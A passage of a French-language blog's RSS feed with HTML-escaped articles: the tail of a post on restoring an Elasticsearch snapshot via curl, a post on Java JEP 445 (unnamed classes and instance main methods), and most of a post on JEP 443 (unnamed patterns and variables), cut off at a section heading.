&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;curl --request POST \
  --insecure --header &apos;Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI&apos; \
  --url https://ADR_INSTANCE_B:9200/_snapshot/restore/backup_20230730/_restore \
  --header &apos;Content-Type: application/json&apos; \
  --data &apos;{
  &quot;indices&quot;: &quot;mon-index&quot;
}&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Dans le cas ci-dessus, j&amp;#8217;ai filtré pour restaurer uniquement l&amp;#8217;index qui m&amp;#8217;intéresse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En retour, vous obtenez le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
	&quot;accepted&quot;: true
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faudra attendre en fonction du volume des données mais sinon &lt;strong&gt;voila le tour est joué.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-reindex.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Documentation Elastic sur API REINDEX&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/snapshot-restore.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Documentation Elastic sur &quot;Snapshot and restore&quot;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 445, Unnamed Classes and Instance Main Methods (Preview)</title>
      <link>https://www.lilian-benoit.fr/2023/06/JEP-445-Unnamed-Classes-and-Instance-Main-Methods.html</link>
      <pubDate>dim., 25 juin 2023 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2023/06/JEP-445-Unnamed-Classes-and-Instance-Main-Methods.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exécution&quot;&gt;Exécution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#détails_sur_le_lancement&quot;&gt;Détails sur le lancement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#détails_sur_la_classe_sans_nom&quot;&gt;Détails sur la classe sans nom&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de cette JEP est de faciliter l&amp;#8217;apprentissage du langage Java pour les étudiants, en enlevant certaines &quot;cérémonies&quot; du langage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet à l&amp;#8217;étudiant d&amp;#8217;appréhender plus facilement le langage et d&amp;#8217;ajouter les fonctionnalités et la complexité au fûr et à mesure de son apprentissage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, un exemple de premier programme correspond au code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Bonjour {
    public static void main(String[] args) {
        System.out.println(&quot;Bonjour à tous !&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Exemple de syntaxe qui peut dérouter l&amp;#8217;étudiant&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Déclaration d&amp;#8217;une classe publique avec le mot réservé &lt;code&gt;class&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Utilisation de &lt;code&gt;String[]&lt;/code&gt; pour les paramètres&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le modificateur &lt;code&gt;static&lt;/code&gt; est généralement troublant au début.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour autant, il ne faut pas avoir&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Un langage différent pour l&amp;#8217;apprentissage&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un ensemble d&amp;#8217;outils différents pour la construction ces programmes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le premier principe est de ne pas obliger que la méthode &lt;code&gt;main&lt;/code&gt; soit statique (&lt;code&gt;static&lt;/code&gt;). C&amp;#8217;est à dire qu&amp;#8217;il est possible d&amp;#8217;avoir une simple méthode d&amp;#8217;instance. (d&amp;#8217;où le nom : Instance Main Methods)
De même, le terme &lt;code&gt;public&lt;/code&gt; n&amp;#8217;est plus nécessaire et le paramètre &lt;code&gt;String[]&lt;/code&gt; devient optionnel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le second principe est de considérer une classe sans nom qui sera créé automatiquement (d&amp;#8217;où le nom : Unnamed Classes).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela donne le code suivant comme résultat :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;void main() {
    System.out.println(&quot;Bonjour à tous !&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exécution&quot;&gt;Exécution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons passer par le compilateur, puis par la JVM. N&amp;#8217;oubliez pas que c&amp;#8217;est une fonctionnalité en aperçu, donc il faudra l&amp;#8217;option &lt;code&gt;--enable-preview&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;L&amp;#8217;utilisation de l&amp;#8217;option &lt;code&gt;--enable-preview&lt;/code&gt; demandera de préciser le niveau de la source ou de la release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons avec le schéma classique avec le compilateur&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;javac --release 21 --enable-preview Bonjour.java
java --enable-preview Bonjour&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis la &lt;a href=&quot;https://openjdk.org/jeps/330&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 330 (Launch Single-File Source-Code Programs)&lt;/a&gt;, disponible depuis le JDK 11, nous pouvons passer par une et une seule commande:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java --source 21 --enable-preview Bonjour.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans les deux cas, nous obtenons l&amp;#8217;exécution suvante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Note: Main.java uses preview features of Java SE 21.
Note: Recompile with -Xlint:preview for details.
Bonjour à tous!&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;détails_sur_le_lancement&quot;&gt;Détails sur le lancement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors du lancement d&amp;#8217;un programme, la méthode &lt;code&gt;m̀ain&lt;/code&gt; exécutée est choisie parmi les méthodes suivantes en respectant cet ordre :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;static void main(String[])&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;static void main()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;void main(String [])&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;void main()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;La méthode doit être déclarée comme une méthode non privée (c&amp;#8217;est à dire avec la visibilité publique, protégée ou package).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;détails_sur_la_classe_sans_nom&quot;&gt;Détails sur la classe sans nom&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est possible de définir des variables. Ils seront traduits par attributs de la classe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String bonjour = &quot;Bonjour à tous!&quot;;

void main() {
    System.out.println(bonjour);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De même, pour les fonctions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String bonjour() { return &quot;Bonjour à tous!&quot;; }

void main() {
    System.out.println(bonjour());
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/445&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 445: Unnamed Classes and Instance Main Methods (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/330&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 330: Launch Single-File Source-Code Programs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 443, Unnamed Patterns and Variables (Preview)</title>
      <link>https://www.lilian-benoit.fr/2023/05/JEP-443-Unnamed-patterns-and-variables.html</link>
      <pubDate>dim., 28 mai 2023 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2023/05/JEP-443-Unnamed-patterns-and-variables.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#motifs_non_utilisés&quot;&gt;Motifs non utilisés&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#variables_non_utilisées&quot;&gt;Variables non utilisées&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#déclaration_daffectation&quot;&gt;Déclaration d&amp;#8217;affectation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#bloc_catch&quot;&gt;Bloc catch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#construction_try_with_ressources&quot;&gt;Construction &lt;code&gt;try-with-ressources&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#boucle&quot;&gt;Boucle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#lambda&quot;&gt;Lambda&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#histoire_du_souligné&quot;&gt;Histoire du souligné&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les motifs pour les enregistrements (&lt;a href=&quot;/2023/05/JEP-440-Records-Pattern.html&quot;&gt;JEP 440 - Records Pattern&lt;/a&gt;) permettent justement de déconstruire les enregistrements via leurs composants. De ce fait, nous pouvons avoir des noms et des types de composants qui nous n&amp;#8217;intéresse pas. Cela nous devons tout de même les définir.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici un exemple avec le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) { }
enum Couleur { ROUGE, VERT, BLEU }
record PointColore(Point p, Couleur c) { }

var s = new PointColore(new Point(3,4), Couleur.VERT);

if (r instanceof PointColore(Point p, Couleur c)) { &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    // nous pouvons utiliser p.x()
    // ainsi que p.y()
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Il a été nécessaire de définir la variable &lt;code&gt;c&lt;/code&gt; de type &lt;code&gt;Couleur&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De leur côté, les variables non utilisées sont liées à la programmation impérative.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici un exemple pour le traitement des exceptions :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String chaine = ...;
try {
    int entier = Integer.parseInt(chaine);
    // On utilise entier
} catch (NumberFormatException ex) { &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    System.out.println(&quot;Chaîne n&apos;est pas un nombre : &quot; + chaine);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;La variable &lt;code&gt;ex&lt;/code&gt; de type &lt;code&gt;NumberFormatException&lt;/code&gt; doit être définie même si elle n&amp;#8217;est pas utilisée.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe est d&amp;#8217;enrichir le langage java avec les motifs sans nom et les variables sans nom. Les deux pourront être notés par le caractère souligné &lt;code&gt;_&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est une fonctionnatité en mode aperçu.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour activer ce mode, je vous conseille cette article &lt;a href=&quot;/2021/06/JEP-12-Preview-features.html&quot;&gt;JEP 12 - Mode Aperçu&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;motifs_non_utilisés&quot;&gt;Motifs non utilisés&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En reprenant, l&amp;#8217;exemple ci-dessus sur les enregistrements, nous pouvons utiliser le caractère souligné &lt;code&gt;_&lt;/code&gt; à la place de la variable non utilisée dans le motif suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (o instanceof Point(_, int y)) {
   // Utilisation de y
   ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons le faire sur plusieurs niveaux de composition. Ci-dessous on ignore le composant &lt;code&gt;Couleur&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (r instanceof PoinColore(Point(int x, int y), _)) {  &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
   // Utilisation de x
   // et de y
   ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;La composant &lt;code&gt;Couleur&lt;/code&gt; ne nous intéresse pas (le nom et le type)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Inversement, cela peut être seulement la couleur qui nous intéresse?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (r instanceof PoinColore(_, Couleur c)) {
   // Utilisation uniquement de c
   ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ou uniquement la coordonnée &lt;code&gt;x&lt;/code&gt; de notre point&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (r instanceof PoinColore(Point(int x, _), _)) {
   // Utilisation seulement de  x
   ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;variables_non_utilisées&quot;&gt;Variables non utilisées&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;déclaration_daffectation&quot;&gt;Déclaration d&amp;#8217;affectation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est le cas simple de l&amp;#8217;affectation où la variable n&amp;#8217;est pas utilisée..&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, une liste de nombre où x1, y1, z1 et consorts. A chaque fois, ceux sont les deux premiers nombres qui sont utiles.
Nous pouvons écrire le code suivant::&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Queue&amp;lt;Integer&amp;gt; q = ... // x1, y1, z1, x2, y2, z2, ...
while (q.size() &amp;gt;= 3) {
   var x = q.remove();
   var y = q.remove();
   var _ = q.remove();
   ... new Point(x, y) ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et si c&amp;#8217;est que la valeur x qui est utile, nous aurions donc cela :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;while (q.size() &amp;gt;= 3) {
    var x = q.remove();
    var _ = q.remove();
    var _ = q.remove();
    ... new Point(x, 0) ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;bloc_catch&quot;&gt;Bloc catch&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En reprenant l&amp;#8217;exemple plus haut, nous n&amp;#8217;avons plus besoin de nommer la variable du &lt;code&gt;catch&lt;/code&gt; car nous ne l&amp;#8217;utilisons pas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela donne le code suivant ;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String chaine = ...;
try {
    int entier = Integer.parseInt(chaine);
    // On utilise entier
} catch (NumberFormatException _) {
    System.out.println(&quot;Chaîne n&apos;est pas un nombre : &quot; + chaine);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela est aussi valable avec plusieurs bloc &lt;code&gt;catch&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String chaine = ...;
try {
    int entier = Integer.parseInt(chaine);
    // On utilise entier
} catch (NumberFormatException _) {
    System.out.println(&quot;Chaîne n&apos;est pas un nombre : &quot; + chaine);
} catch (NumberFormatException _) {
} catch (Throwable _) {
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;construction_try_with_ressources&quot;&gt;Construction &lt;code&gt;try-with-ressources&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela donne simplement le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (var _ = ScopedContext.acquire()) {
    // Aucun utilisation de la ressource acquis précédemment
    ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;boucle&quot;&gt;Boucle&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela est valable pour les boucles si les variables ne sont pas utilisées, comme dans l&amp;#8217;exemple ci-dessous :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;int acc = 0;
for (Commande _ : commandes) {
    if (acc &amp;lt; LIMITE) {
        acc++
        ...
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;lambda&quot;&gt;Lambda&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le caractère souligné &lt;code&gt;_&lt;/code&gt; peut être utilisé si le paramètre non pertinent.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;...stream.collect(Collectors.toMap(String::toUpperCase, _ -&amp;gt; &quot;NODATA&quot;))&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;histoire_du_souligné&quot;&gt;Histoire du souligné&lt;/h2&gt;
